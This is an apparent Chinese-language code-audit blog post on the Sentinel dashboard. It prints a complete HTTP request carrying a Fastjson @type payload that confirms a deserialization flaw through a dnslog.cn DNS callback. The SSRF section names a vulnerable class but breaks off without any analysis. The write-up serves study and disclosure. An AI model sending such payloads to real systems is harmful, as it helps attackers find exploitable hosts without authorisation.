代码审计 | Sentinel CMS 漏洞分析
一、cms简介:
本文是关于Sentinel CMS漏洞分析学习,大纲:
1、环境搭建
2、Fastjson漏洞分析
3、SSRF漏洞分析
二、环境搭建
下载源码,使用idea导入
启动环境
默认密码是sentinel/sentinel
三、Fastjson漏洞分析
在查看 pom.xml 时,发现目标系统使用了 Fastjson 1.2.71 版本,该版本是存在历史漏洞的。
全局搜索关键字 parseObject ,找到了一处 Controller 使用的情况
进入 ClusterConfigController ,这是一个用于管理Sentinel集群配置的控制器。查看代码发现,接受了 payload 参数直接进行了 JSON.parseObject(payload)操作。
通过上述代码得到接口为 /cluster/config/modify_single ,POST 请求方式,传入参数为 payload。
POST /cluster/config/modify_single HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8080/
Cookie: _jspxcms=eab79fcb94a54dbb9b2e4a45f27b5d7b; sentinel_dashboard_cookie=4C92FE586248ACC2A606B96B7A77DE03
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xx.dnslog.cn
"}}
验证成功
四、SSRF漏洞分析
首先,漏洞触发点在 MetricFetcher 类中,位于 sentineldashboard\src\main\java\com\alibaba\csp\sentinel\dashboard\metric\MetricFetcher.java
我们分析一下
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录